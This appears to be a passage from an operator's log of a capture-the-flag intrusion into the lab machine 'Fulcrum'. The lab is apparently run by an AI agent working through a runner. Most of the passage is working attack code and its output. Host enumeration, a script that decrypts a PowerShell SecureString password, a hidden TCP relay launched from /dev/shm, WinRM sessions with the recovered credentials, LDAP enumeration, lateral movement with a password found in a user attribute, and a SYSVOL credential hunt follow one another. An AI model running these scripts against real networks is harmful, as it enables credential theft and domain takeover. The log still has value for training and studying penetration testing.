[lr exit 0]
The step 10 launcher arrived garbled from column 50 of its last line: the > /dev/null 2>&1 & after the document root. A stray argument there is taken
as a router script (a stand-in below, not the bytes that arrived):
# php -S with a stray extra argument after the document root (what the garbled tail of the step 10 launcher would be), against a control without one
mkdir /w; echo hi > /w/o.txt
cat > /get.php <<'P'
<?php $c = stream_context_create(["http" => ["ignore_errors" => true, "timeout" => 5]]);
$b = @file_get_contents($argv[1], false, $c); echo $argv[1], " -> ", $http_response_header[0] ?? "no answer", ", ", strlen((string)$b), " bytes", PHP_EOL;
P
php -d display_errors=0 -S 127.0.0.1:8001 -t /w > /dev/null 2>&1 &
php -d display_errors=0 -S 127.0.0.1:8002 -t /w 'x9$k' > /dev/null 2>&1 &
sleep 1
echo "### control, no extra argument"; php /get.php http://127.0.0.1:8001/o.txt
echo "### extra argument after the document root"; php /get.php http://127.0.0.1:8002/o.txt
docker run --rm -v "$PWD/artifacts/38-router.sh:/t.sh:ro" php:7.4-cli-alpine sh /t.sh 2>&1
### control, no extra argument
http://127.0.0.1:8001/o.txt -> HTTP/1.0 200 OK, 3 bytes
### extra argument after the document root
http://127.0.0.1:8002/o.txt -> HTTP/1.0 500 Internal Server Error, 0 bytes
[lr exit 0]
A 500 with an empty body for a static file, as in step 12, from a launcher
that never went to the background, hence the 504. That is the symptom on
7.4.33, not re-run on the target. The step 15 starter has a + in its
base64 too; step 18’s one-line launcher has none in transit. The helper
should send the PHP as base64 with + and % encoded twice.
Phase 3: the host
The first enumeration script returned nothing: its pkill -f patterns
matched the shell carrying it. Changed in place to the bracket form and run
again; the corrected file:
pkill -f "php -S 0.0.0.0:3133[7]"; pkill -f "http.server 3133[8]"; ss -tln | grep -c 3133
echo "### web roots"; ls -la /var/www/html /var/www/api /var/www/uploads
echo "### html/index.php"; cat /var/www/html/index.php
echo "### api/index.php"; cat /var/www/api/index.php
echo "### nginx default site"; grep -v -E '^\s*(#|$)' /etc/nginx/sites-available/default
echo "### neighbours"; ip neigh; cat /var/lib/libvirt/dnsmasq/*.status 2>/dev/null | head -40
echo "### users"; grep -v -E 'nologin|false' /etc/passwd; ls -la /home
echo "### which"; which python3 perl nc socat ssh curl wget pwsh; echo "PATH=$PATH"
bash artifacts/18-sh.sh artifacts/19-enum.sh 2>&1 | cut -c1-220
[lr exit 0]
bash artifacts/18-sh.sh artifacts/19-enum.sh 2>&1 | cut -c1-220
0
### web roots
/var/www/api:
total 12
drwxr-xr-x 2 root root 4096 Oct 5 2017 .
drwxr-xr-x 6 root root 4096 May 8 2022 ..
-rw-r--r-- 1 root root 527 Oct 4 2017 index.php
/var/www/html:
total 8
drwxr-xr-x 2 root root 4096 Oct 5 2017 .
drwxr-xr-x 6 root root 4096 May 8 2022 ..
/var/www/uploads:
total 24
drwxr-xr-x 2 root root 4096 Oct 5 2017 .
drwxr-xr-x 6 root root 4096 May 8 2022 ..
-rw-r--r-- 1 root root 714 Oct 4 2017 Fulcrum_Upload_to_Corp.ps1
-rw-r--r-- 1 root root 321 Oct 4 2017 home.php
-rw-r--r-- 1 root root 255 Oct 5 2017 index.php
-rw-r--r-- 1 root root 113 Oct 4 2017 upload.php
### html/index.php
### api/index.php
[...]
### nginx default site
server {
listen 88;
root /var/www/pma;
index index.php index.html index.htm;
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php7.4-fpm.sock;
}
}
server {
listen 4;
root /var/www/uploads;
index index.php;
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php7.4-fpm.sock;
}
}
server {
listen 56423;
root /var/www/api;
index index.php;
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php7.4-fpm.sock;
}
}
server {
listen 9999;
location / {
proxy_pass http://localhost/;
}
}
server {
listen 80 default_server;
listen [::]:80 default_server;
root /var/www/html;
index index.html index.htm index.nginx-debian.html;
server_name _;
location / {
proxy_pass http://192.168.122.228;
}
location /uploads {
try_files $uri $uri/ =404;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php7.4-fpm.sock;
}
}
### neighbours
192.168.122.228 dev virbr0 lladdr 52:54:00:9e:52:f4 STALE
192.168.122.130 dev virbr0 lladdr 52:54:00:9e:52:f2 DELAY
192.168.122.132 dev virbr0 lladdr 52:54:00:9e:52:f3 STALE
10.129.0.1 dev ens160 lladdr 00:50:56:94:9b:51 REACHABLE
fe80::250:56ff:fe94:9b51 dev ens160 lladdr 00:50:56:94:9b:51 router STALE
[
{
"ip-address": "192.168.122.228",
"mac-address": "52:54:00:9e:52:f4",
"hostname": "WEBSERVER",
"client-id": "01:52:54:00:9e:52:f4",
"expiry-time": 1795592788
},
{
"ip-address": "192.168.122.132",
"mac-address": "52:54:00:9e:52:f3",
"hostname": "FILE",
"client-id": "01:52:54:00:9e:52:f3",
"expiry-time": 1795592795
},
{
"ip-address": "192.168.122.130",
"mac-address": "52:54:00:9e:52:f2",
"hostname": "DC",
"client-id": "01:52:54:00:9e:52:f2",
"expiry-time": 1795592804
}
]
### users
root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
total 8
drwxr-xr-x 2 root root 4096 May 7 2020 .
drwxr-xr-x 20 root root 4096 May 9 2022 ..
### which
/usr/bin/python3
/usr/bin/perl
/usr/bin/nc
/usr/bin/ssh
/usr/bin/curl
/usr/bin/wget
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
[lr exit 0]
Port 80 proxies to 192.168.122.228 and 9999 to port 80. The libvirt lease
file names three guests: WEBSERVER, FILE and DC. python3, perl and nc
are present; socat is not. The web root of port 4 holds
Fulcrum_Upload_to_Corp.ps1. Next, that site’s files and a port check on
the guests, through a filter that writes a base64 line to a file under
loot/ and prints its size:
# read runner output on stdin: "B64FILE:<name>:<base64>" lines are written with mode 0600 to <dir>/<name>
# (a name ending .txt goes to artifacts/) and replaced by name and size; the content of the optional
# second argument (a password file) is masked wherever it appears. cwd machines/<name>
# usage: ... | python3 -I tools/b64file-filter.py <dir> [file whose content is masked]
import re, sys, os, base64
d = sys.argv[1]
pw = open(sys.argv[2]).read().strip() if len(sys.argv) > 2 else None
os.makedirs(d, exist_ok=True)
for line in sys.stdin:
line = line.rstrip("\r\n")
if pw:
line = line.replace(pw, "<masked>")
m = re.match(r"B64FILE:([\w.-]+):(\S*)", line)
if not m:
print(line); continue
data = base64.b64decode(m.group(2))
path = ("artifacts/" if m.group(1).endswith(".txt") else d.rstrip("/") + "/") + m.group(1)
fd = os.open(path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600); os.write(fd, data); os.close(fd)
o = os.stat("."); os.chown(path, o.st_uid, o.st_gid); os.chown(os.path.dirname(path), o.st_uid, o.st_gid) # in bin/kali the filter is root (Fulcrum)
print("saved %s: %d bytes" % (path, len(data)))
cd /var/www/uploads
for f in index.php home.php upload.php; do echo "### $f"; cat $f; echo; done
echo "B64FILE:Fulcrum_Upload_to_Corp.ps1:$(base64 -w0 Fulcrum_Upload_to_Corp.ps1)"
echo "### ports on the three guests"
for h in 192.168.122.228 192.168.122.132 192.168.122.130; do for p in 53 80 88 135 139 389 445 636 3389 5985 5986; do nc -z -w 2 $h $p 2>/dev/null && echo "$h:$p open"; done; done
echo "### libvirt"; ls -la /var/lib/libvirt/images 2>&1 | head; ps aux | grep -c [q]emu; id; sudo -n -l 2>&1 | head -3
bash artifacts/18-sh.sh artifacts/21-enum.sh 2>&1 | python3 -I ../../tools/b64file-filter.py loot | cut -c1-220
[...]
### home.php
<?php
?>
<!DOCTYPE html>
<html>
<body>
<h1>Fulcrum File Upload</h1>
<form action="upload.php" method="post" enctype="multipart/form-data">
Select image to upload:
<p><input type="file" name="fileToUpload" id="fileToUpload"></p>
<p><input type="submit" value="Upload Image" name="submit"></p>
</form>
</body>
</html>
### upload.php
<?php
if(isset($_POST))
{
sleep(2);
echo "<p style=\"color:red;\">Sorry the file upload failed</p>";
}
?>
saved loot/Fulcrum_Upload_to_Corp.ps1: 714 bytes
### ports on the three guests
192.168.122.228:80 open
192.168.122.228:5985 open
### libvirt
ls: cannot open directory '/var/lib/libvirt/images': Permission denied
3
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sudo: a password is required
[lr exit 0]
The upload form is a decoy: upload.php sleeps and reports failure. Of
eleven ports on three guests, only 80 and 5985 on WEBSERVER answer. The
script, long values masked:
sed -E "s/[A-Za-z0-9+\/=]{60,}/<long value, masked>/g; s/([0-9]{1,3},){8,}[0-9]{1,3}/<list of numbers, masked>/g" loot/Fulcrum_Upload_to_Corp.ps1
# TODO: Forward the PowerShell remoting port to the external interface
# Password is now encrypted \o/
$1 = 'WebUser'
$2 = '<list of numbers, masked>' -split ','
$3 = '<long value, masked>'
$4 = $3 | ConvertTo-SecureString -key $2
$5 = New-Object System.Management.Automation.PSCredential ($1, $4)
Invoke-Command -Computer upload.fulcrum.local -Credential $5 -File Data.ps1
[lr exit 0]
“Password is now encrypted”, with the key one line above the ciphertext. The
layout of ConvertFrom-SecureString -Key output I knew and did not look up:
a fixed header, then base64 of the UTF-16 text 2|IV|ciphertext, AES-CBC
under the key. The line cut from this block asserts that header.
# decrypt the ConvertFrom-SecureString -Key value in a PowerShell script: header 76492d11...5345, then base64 of the UTF-16
# text "2|<IV base64>|<ciphertext hex>"; AES-CBC with the key given as a comma list, PKCS7, UTF-16LE plaintext
# usage: 23-dec.py <script.ps1> <out file> prints lengths only
import re, sys, base64
from Crypto.Cipher import AES
t = open(sys.argv[1]).read()
key = bytes(int(x) for x in re.search(r"\$2 = '([0-9,]+)'", t).group(1).split(","))
blob = re.search(r"\$3 = '([^']+)'", t).group(1)
[...]
ver, iv, ct = base64.b64decode(blob[32:]).decode("utf-16-le").split("|")
pt = AES.new(key, AES.MODE_CBC, base64.b64decode(iv)).decrypt(bytes.fromhex(ct))
pw = pt[:-pt[-1]].decode("utf-16-le")
open(sys.argv[2], "w").write(pw)
print("key %d bytes, version %s, iv %d bytes, ciphertext %d bytes, password %d characters" % (len(key), ver, len(base64.b64decode(iv)), len(ct) // 2, len(pw)))
cd ../..; bin/kali fulcrum "python3 -I /work/artifacts/23-dec.py /work/loot/Fulcrum_Upload_to_Corp.ps1 /work/loot/webuser.pw && chmod 644 /work/loot/webuser.pw"
key 32 bytes, version 2, iv 16 bytes, ciphertext 32 bytes, password 13 characters
[lr exit 0]
Phase 4: WinRM through a relay
The script’s first comment is a note to forward the remoting port to the external interface. Nobody had, so I did: a TCP relay in Python on the host, 31350 to WEBSERVER’s 5985.
# TCP forwarder: listen on 0.0.0.0:<lport>, relay each connection to <rhost>:<rport>. usage: fwd.py <lport> <rhost> <rport>
import socket, sys, threading
def pump(a, b):
try:
while True:
d = a.recv(65536)
if not d:
break
b.sendall(d)
except OSError:
pass
for s in (a, b):
try:
s.shutdown(socket.SHUT_RDWR)
except OSError:
pass
def serve(c):
try:
r = socket.create_connection((sys.argv[2], int(sys.argv[3])), timeout=10)
r.settimeout(None)
except OSError:
c.close(); return
threading.Thread(target=pump, args=(c, r), daemon=True).start()
pump(r, c); c.close(); r.close()
l = socket.socket(); l.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
l.bind(("0.0.0.0", int(sys.argv[1]))); l.listen(50)
while True:
c, _ = l.accept()
threading.Thread(target=serve, args=(c,), daemon=True).start()
The start file’s first line is echo, the base64 of that relay, and
| base64 -d > /dev/shm/.f.py; the rest is:
[...]
setsid nohup python3 /dev/shm/.f.py 31350 192.168.122.228 5985 > /dev/null 2>&1 &
sleep 1; ss -tln | grep 31350
The client is pypsrp in the Kali container, NTLM with message encryption over HTTP, the password read from a file:
# run a PowerShell script file over WinRM (pypsrp, NTLM with message encryption over HTTP) and print its output
# usage: 25-ps.py <host> <port> <user> <password file> <script.ps1>
import sys
from pypsrp.client import Client
host, port, user, pwfile, script = sys.argv[1:6]
c = Client(host, port=int(port), username=user, password=open(pwfile).read().strip(), ssl=False, auth="ntlm", encryption="always", connection_timeout=60, read_timeout=120, operation_timeout=100)
out, streams, had_errors = c.execute_ps(open(script).read())
print(out)
for e in streams.error:
print("ERROR: " + str(e))
print("[had_errors %s]" % had_errors)
whoami; hostname; $PSVersionTable.PSVersion.ToString()
ipconfig | Select-String 'IPv4|DNS Suffix|Gateway'
Get-ChildItem C:\Users | Select-Object Name, LastWriteTime
Get-ChildItem C:\inetpub\wwwroot -Force | Select-Object Mode, Length, Name
bash artifacts/18-sh.sh artifacts/24-start.sh; cd ../..; echo "### wrong password (control)"; printf wrong > machines/fulcrum/loot/wrong.pw; bin/kali fulcrum "python3 -I /work/artifacts/25-ps.py 10.129.136.254 31350 WebUser /work/loot/wrong.pw /work/artifacts/25-who.ps1 2>&1 | tail -1 | cut -c1-200"; echo "### WebUser"; bin/kali fulcrum "python3 -I /work/artifacts/25-ps.py 10.129.136.254 31350 WebUser /work/loot/webuser.pw /work/artifacts/25-who.ps1 2>&1 | cut -c1-200"
LISTEN 0 50 0.0.0.0:31350 0.0.0.0:*
### wrong password (control)
pypsrp.exceptions.AuthenticationError: Failed to authenticate the user WebUser with ntlm
### WebUser
webserver\webuser
WEBSERVER
5.1.17763.1
Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 192.168.122.228
Default Gateway . . . . . . . . . : 192.168.122.1
[...]
A wrong password is refused and the decrypted one gives a session as the
local account webserver\webuser. The first sitting ended here with the
instance left up overnight, which it should not have been. The second began
with a failure that was not the target’s:
uptime -s; date; id; ss -tln | grep -E '3134|3135'
whoami; hostname
Get-ChildItem C:\inetpub\wwwroot -Force | Select-Object Mode, Length, Name | Format-Table -AutoSize | Out-String -Width 200
Get-Content C:\inetpub\wwwroot\web.config | ForEach-Object { $_ -replace '(?i)(password\s*=\s*")[^"]*', '$1<masked>' }
bash artifacts/18-sh.sh artifacts/26-attach.sh; cd ../..; echo "### WEBSERVER as WebUser: wwwroot and web.config (password attributes masked)"; bin/kali fulcrum "python3 -I /work/artifacts/25-ps.py 10.129.136.254 31350 WebUser /work/loot/webuser.pw /work/artifacts/26-web.ps1 2>&1 | cut -c1-300"
curl: (7) Failed to connect to 10.129.136.254 port 31340 after 11 ms: Could not connect to server
### WEBSERVER as WebUser: wwwroot and web.config (password attributes masked)
Unable to find image 'htb-kali:latest' locally
docker: Error response from daemon: pull access denied for htb-kali, repository does not exist or may require 'docker login'
Run 'docker run --help' for more information
[lr exit 125]
The lab VPN was down and the Kali image had gone from the local Docker store. The tunnel took seconds, the rebuild 17 minutes. Meanwhile the runner confirmed the instance was the same one:
uptime -s; date; id; ss -tln | grep -E '3134|3135'
echo "### can the host do WinRM itself"; python3 -c 'import pypsrp' 2>&1 | tail -1; python3 -c 'import winrm' 2>&1 | tail -1; command -v pwsh curl nc socat ssh
echo "### guests again from the host"
for h in 192.168.122.130 192.168.122.132; do for p in 53 88 389 445 5985; do nc -z -w 2 $h $p 2>/dev/null && echo "$h:$p open"; done; done; echo done
bash artifacts/18-sh.sh artifacts/27-host.sh
2026-11-25 06:43:11
Thu Nov 26 06:17:58 UTC 2026
uid=33(www-data) gid=33(www-data) groups=33(www-data)
LISTEN 0 4096 0.0.0.0:31340 0.0.0.0:*
LISTEN 0 50 0.0.0.0:31350 0.0.0.0:*
### can the host do WinRM itself
ModuleNotFoundError: No module named 'pypsrp'
ModuleNotFoundError: No module named 'winrm'
### guests again from the host
done
[lr exit 0]
Booted the previous morning, both listeners up, no pwsh on the host. With
the image back, the web root of WEBSERVER. From memory, declared in the log:
directory credentials in its web.config. The script masks password
attributes on the box and sends the whole file to loot/:
whoami; hostname
Get-ChildItem C:\inetpub\wwwroot -Force | Select-Object Mode, Length, LastWriteTime, Name | Format-Table -AutoSize | Out-String -Width 200
"### web.config, password attributes masked"
Get-Content C:\inetpub\wwwroot\web.config | ForEach-Object { $_ -replace '(?i)(password\s*=\s*")[^"]*', '$1<masked>' }
"B64FILE:web.config:" + [Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\inetpub\wwwroot\web.config'))
"### name resolution and reach from WEBSERVER"
foreach ($h in 'dc.fulcrum.local','file.fulcrum.local','192.168.122.130','192.168.122.132') { foreach ($p in 53,88,389,445,5985) { $c = New-Object Net.Sockets.TcpClient; try { if ($c.ConnectAsync($h,$p).Wait(1500)) { "$h`:$p open" } } catch {} ; $c.Close() } }
"done"
cd ../..; bin/kali fulcrum "python3 -I /work/artifacts/25-ps.py 10.129.136.254 31350 WebUser /work/loot/webuser.pw /work/artifacts/28-web.ps1 2>&1 | python3 -I /tools/b64file-filter.py loot | cut -c1-300"
[...]
### web.config, password attributes masked
<?xml version="1.0" encoding="UTF-8"?>
<configuration xmlns="http://schemas.microsoft.com/.NetConfiguration/v2.0">
<appSettings />
<connectionStrings>
<add connectionString="LDAP://dc.fulcrum.local/OU=People,DC=fulcrum,DC=local" name="ADServices" />
</connectionStrings>
<system.web>
<membership defaultProvider="ADProvider">
<providers>
<add name="ADProvider" type="System.Web.Security.ActiveDirectoryMembershipProvider, System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" connectionStringName="ADConnString" connectionUsername="FULCRUM\LDAP" connectionPassword="<masked>" attributeMapUsername=
</providers>
</membership>
</system.web>
[...]
saved loot/web.config: 1280 bytes
### name resolution and reach from WEBSERVER
dc.fulcrum.local:53 open
dc.fulcrum.local:88 open
dc.fulcrum.local:389 open
dc.fulcrum.local:445 open
dc.fulcrum.local:5985 open
file.fulcrum.local:5985 open
192.168.122.130:53 open
192.168.122.130:88 open
192.168.122.130:389 open
192.168.122.130:445 open
192.168.122.130:5985 open
192.168.122.132:5985 open
done
[had_errors False]
[lr exit 0]
The membership provider binds as FULCRUM\LDAP. From WEBSERVER the
controller answers on DNS, Kerberos, LDAP, SMB and WinRM, and FILE on WinRM
alone.
Phase 5: the directory
Later scripts need a password inside the remote session, so a variant of the client fills a placeholder with the base64 of a loot file, never typed or printed:
# 25-ps.py with templating: each NAME=<file> argument replaces @@NAME@@ in the script with the base64 (UTF-8) of the file's content,
# so a password goes from loot to the remote script without being printed or typed. usage: 29-ps.py <host> <port> <user> <password file> <script.ps1> [NAME=file ...]
import sys, base64
from pypsrp.client import Client
host, port, user, pwfile, script = sys.argv[1:6]
s = open(script).read()
for a in sys.argv[6:]:
n, f = a.split("=", 1)
s = s.replace("@@%s@@" % n, base64.b64encode(open(f).read().strip().encode()).decode())
assert "@@" not in s, "unfilled placeholder"
c = Client(host, port=int(port), username=user, password=open(pwfile).read().strip(), ssl=False, auth="ntlm", encryption="always", connection_timeout=60, read_timeout=300, operation_timeout=280)
out, streams, had_errors = c.execute_ps(s)
print(out)
for e in streams.error:
print("ERROR: " + str(e))
print("[had_errors %s]" % had_errors)
# read connectionUsername and connectionPassword from the saved web.config; password to <out file>, lengths only printed
import re, sys
t = open(sys.argv[1]).read()
u = re.search(r'connectionUsername="([^"]*)"', t).group(1); p = re.search(r'connectionPassword="([^"]*)"', t).group(1)
open(sys.argv[2], "w").write(p)
print("user %s, password %d characters" % (u, len(p)))
The search binds from WEBSERVER with a wrong password first, then lists
computers, Domain Admins, and every user with a description or info
attribute, masking on the box any word with a digit or symbol. From memory,
declared in the log: a password left in a user attribute.
function B($s) { [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($s)) }
function Mask($v) { ($v | ForEach-Object { "$_" -replace '\S*[^A-Za-z\s]\S*', '<masked>' }) -join ' | ' }
function Search($pw, $filter, $props) {
$de = New-Object DirectoryServices.DirectoryEntry('LDAP://dc.fulcrum.local/DC=fulcrum,DC=local', 'FULCRUM\LDAP', $pw)
$ds = New-Object DirectoryServices.DirectorySearcher($de, $filter); $ds.PageSize = 500
$props | ForEach-Object { [void]$ds.PropertiesToLoad.Add($_) }
$ds.FindAll()
}
"### control: bind with a wrong password"
try { (Search 'wrong' '(objectCategory=computer)' @('name')).Count } catch { "bind failed: " + $_.Exception.InnerException.Message }
$pw = B '@@LDAPPW@@'
"### computers"
Search $pw '(objectCategory=computer)' @('name','dnshostname','operatingsystem') | ForEach-Object { "{0} {1} {2}" -f $_.Properties['name'][0], $_.Properties['dnshostname'][0], $_.Properties['operatingsystem'][0] }
"### Domain Admins"
Search $pw '(&(objectCategory=group)(cn=Domain Admins))' @('member') | ForEach-Object { $_.Properties['member'] }
"### users: count, then every account that has a description or info attribute (any word with a digit or symbol masked)"
$u = Search $pw '(&(objectCategory=person)(objectClass=user))' @('samaccountname','description','info','memberof','admincount','distinguishedname')
"users: " + $u.Count
$u | Where-Object { $_.Properties['info'].Count -or $_.Properties['description'].Count } | ForEach-Object {
"{0}`n dn: {1}`n description: {2}`n info: {3}`n memberOf: {4}" -f $_.Properties['samaccountname'][0], $_.Properties['distinguishedname'][0], (Mask $_.Properties['description']), (Mask $_.Properties['info']), ($_.Properties['memberof'] -join ' ; ')
}
$raw = ($u | Where-Object { $_.Properties['info'].Count } | ForEach-Object { "{0}`t{1}" -f $_.Properties['samaccountname'][0], ($_.Properties['info'] -join ' ') }) -join "`n"
"B64FILE:ldap-info.tsv:" + [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($raw))
"### all sam account names"
($u | ForEach-Object { $_.Properties['samaccountname'][0] } | Sort-Object) -join ' '
cd ../..; bin/kali fulcrum "python3 -I /work/artifacts/29-xml.py /work/loot/web.config /work/loot/ldap.pw; python3 -I /work/artifacts/29-ps.py 10.129.136.254 31350 WebUser /work/loot/webuser.pw /work/artifacts/29-ldap.ps1 LDAPPW=/work/loot/ldap.pw 2>&1 | python3 -I /tools/b64file-filter.py loot loot/ldap.pw | cut -c1-600"
user FULCRUM\LDAP, password 24 characters
### control: bind with a wrong password
bind failed: The user name or password is incorrect.
### computers
DC DC.fulcrum.local Windows Server 2019 Standard
FILE FILE.fulcrum.local Windows Server 2019 Standard
### Domain Admins
CN=923a,CN=Users,DC=fulcrum,DC=local
CN=Administrator,CN=Users,DC=fulcrum,DC=local
### users: count, then every account that has a description or info attribute (any word with a digit or symbol masked)
users: 6
[...]
BTables
dn: CN=BTables,CN=Users,DC=fulcrum,DC=local
description:
info: Password set to <masked>
memberOf:
saved loot/ldap-info.tsv: 48 bytes
### all sam account names
923a Administrator BTables Guest krbtgt ldap
[had_errors False]
[lr exit 0]
Six accounts. The lines cut from the block are the stock descriptions of
Administrator, Guest and krbtgt. 923a is a Domain Admin, and BTables has
an info value that begins “Password set to”.
Phase 6: the file server
FILE answers on 5985 only from WEBSERVER, so the session is nested:
Invoke-Command from the WebUser session with an explicit credential, so
nothing is delegated.
# the BTables line of loot/ldap-info.tsv is "BTables<TAB>Password set to <value>": value to <out file>, lengths only printed
import sys
for l in open(sys.argv[1]).read().splitlines():
u, v = l.split("\t", 1)
if u == "BTables":
p = v.split("Password set to ", 1)[1].strip()
open(sys.argv[2], "w").write(p); print("BTables: info %d characters, password %d characters" % (len(v), len(p)))
function B($s) { [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($s)) }
function Cred($u, $p) { New-Object Management.Automation.PSCredential($u, (ConvertTo-SecureString $p -AsPlainText -Force)) }
"### control: FILE with a wrong password"
try { Invoke-Command -ComputerName file.fulcrum.local -Credential (Cred 'FULCRUM\BTables' 'wrong') -ScriptBlock { whoami } -ErrorAction Stop } catch { "failed: " + ("$_" -split "`n")[0] }
"### FILE as FULCRUM\BTables"
Invoke-Command -ComputerName file.fulcrum.local -Credential (Cred 'FULCRUM\BTables' (B '@@BTPW@@')) -ErrorAction Stop -ScriptBlock {
whoami; hostname; whoami /groups | Select-String 'S-1-5-32|Mandatory'
ipconfig | Select-String 'IPv4|Gateway|DNS Suffix'
Get-ChildItem C:\Users | Select-Object Name, LastWriteTime | Format-Table -AutoSize | Out-String
Get-ChildItem C:\Users\BTables -Recurse -Force -File -ErrorAction SilentlyContinue | Where-Object { $_.FullName -notmatch 'AppData' } | Select-Object Length, FullName | Format-Table -AutoSize | Out-String -Width 200
$f = 'C:\Users\BTables\Desktop\user.txt'
if (Test-Path $f) { "user.txt: {0} bytes, {1}" -f (Get-Item $f).Length, (Get-Item $f).LastWriteTime; "B64FILE:user.txt:" + [Convert]::ToBase64String([IO.File]::ReadAllBytes($f)) }
"### reach from FILE"
foreach ($h in 'dc.fulcrum.local','192.168.122.228','192.168.122.1') { foreach ($p in 53,80,88,389,445,5985) { $c = New-Object Net.Sockets.TcpClient; try { if ($c.ConnectAsync($h,$p).Wait(1500)) { "$h`:$p open" } } catch {} ; $c.Close() } }
"done"
}
cd ../..; bin/kali fulcrum "python3 -I /work/artifacts/30-info.py /work/loot/ldap-info.tsv /work/loot/btables.pw; python3 -I /work/artifacts/29-ps.py 10.129.136.254 31350 WebUser /work/loot/webuser.pw /work/artifacts/30-file.ps1 BTPW=/work/loot/btables.pw 2>&1 | python3 -I /tools/b64file-filter.py loot loot/btables.pw | cut -c1-400"
BTables: info 40 characters, password 24 characters
### control: FILE with a wrong password
failed: [file.fulcrum.local] Connecting to remote server file.fulcrum.local failed with the following error message : Access is denied. For more information, see the about_Remote_Troubleshooting Help topic.
### FILE as FULCRUM\BTables
fulcrum\btables
FILE
[...]
user.txt: 32 bytes, 5/8/2022 1:48:54 AM
saved artifacts/user.txt: 32 bytes
### reach from FILE
dc.fulcrum.local:53 open
dc.fulcrum.local:88 open
dc.fulcrum.local:389 open
dc.fulcrum.local:445 open
dc.fulcrum.local:5985 open
192.168.122.228:80 open
192.168.122.228:5985 open
192.168.122.1:53 open
192.168.122.1:80 open
192.168.122.1:88 open
done
[had_errors False]
[lr exit 0]
The user flag is on the desktop of BTables, 30 minutes of session time
after the spawn. My first submission sent an empty value, the filter having
written the file as root; after a chown it was accepted. FILE reaches the
same five ports on the controller.
Phase 7: SYSVOL and the controller
Any domain user can read SYSVOL (product knowledge), and WEBSERVER reaches the controller on 445, so FILE is not needed. From memory, declared in the log: logon scripts with passwords in that share. The script tries the share as WebUser, then as BTables counts files by directory, prints one masked, and saves any that names a Domain Admin:
function B($s) { [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($s)) }
$c = New-Object Management.Automation.PSCredential('FULCRUM\BTables', (ConvertTo-SecureString (B '@@BTPW@@') -AsPlainText -Force))
"### control: SYSVOL as WebUser (no domain credential)"
try { (Get-ChildItem \\dc.fulcrum.local\SYSVOL -ErrorAction Stop).Count } catch { "failed: " + ("$_" -split "`n")[0] }
"### shares on the DC as BTables"
New-PSDrive -Name S -PSProvider FileSystem -Root \\dc.fulcrum.local\SYSVOL -Credential $c -ErrorAction Stop | Out-Null
net view \\dc.fulcrum.local /all 2>&1 | Select-String 'Disk|IPC'
$all = Get-ChildItem S:\ -Recurse -Force -File -ErrorAction SilentlyContinue
"files: " + $all.Count
"### files per directory and extension"
$all | Group-Object { $_.DirectoryName.Replace('S:\','') + ' *' + $_.Extension } | Sort-Object Count -Descending | Select-Object Count, Name | Format-Table -AutoSize | Out-String -Width 250
"### five names and sizes from the largest group"
$g = ($all | Group-Object DirectoryName | Sort-Object Count -Descending)[0].Group
$g | Select-Object -First 5 | ForEach-Object { "{0,6} {1}" -f $_.Length, $_.Name }
"### the first of them, every quoted string masked"
Get-Content $g[0].FullName | ForEach-Object { $_ -replace "'[^']*'", "'<masked>'" -replace '"[^"]*"', '"<masked>"' }
"### files that name a Domain Admin (923a, Administrator), by name and line number"
$hits = $g | Select-String -Pattern '923a', 'Administrator' -SimpleMatch
$hits | ForEach-Object { "{0}:{1}: matches {2}" -f $_.Filename, $_.LineNumber, $_.Pattern }
$hits | Select-Object -ExpandProperty Path -Unique | ForEach-Object { "B64FILE:sysvol-" + (Split-Path $_ -Leaf) + ":" + [Convert]::ToBase64String([IO.File]::ReadAllBytes($_)) }
Remove-PSDrive S
cd ../..; bin/kali fulcrum "python3 -I /work/artifacts/29-ps.py 10.129.136.254 31350 WebUser /work/loot/webuser.pw /work/artifacts/31-sysvol.ps1 BTPW=/work/loot/btables.pw 2>&1 | python3 -I /tools/b64file-filter.py loot loot/btables.pw | cut -c1-300"
### control: SYSVOL as WebUser (no domain credential)
failed: Cannot find path '\\dc.fulcrum.local\SYSVOL' because it does not exist.
### shares on the DC as BTables
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk (UNC) Logon server share
files: 1504
### files per directory and extension
Count Name
----- ----
1500 \\dc.fulcrum.local\SYSVOL\fulcrum.local\scripts *.ps1
1 \\dc.fulcrum.local\SYSVOL\fulcrum.local\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit *.inf
1 \\dc.fulcrum.local\SYSVOL\fulcrum.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9} *.INI
1 \\dc.fulcrum.local\SYSVOL\fulcrum.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit *.inf
1 \\dc.fulcrum.local\SYSVOL\fulcrum.local\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9} *.INI
### five names and sizes from the largest group
340 00034421-648d-4835-9b23-c0d315d71ba3.ps1
340 0003ed3b-31a9-4d8f-a152-a234ecb522d4.ps1
340 0010183b-2f84-4d4a-9490-b5ae922e3ba1.ps1
340 001985e5-4b19-426a-96fe-927a972a6fed.ps1
340 0033f8d7-8ede-4186-83fa-6a17b966f1b9.ps1
### the first of them, every quoted string masked
# Map network drive v1.0
$User = '<masked>'
$Pass = '<masked>' | ConvertTo-SecureString -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential ($User, $Pass)
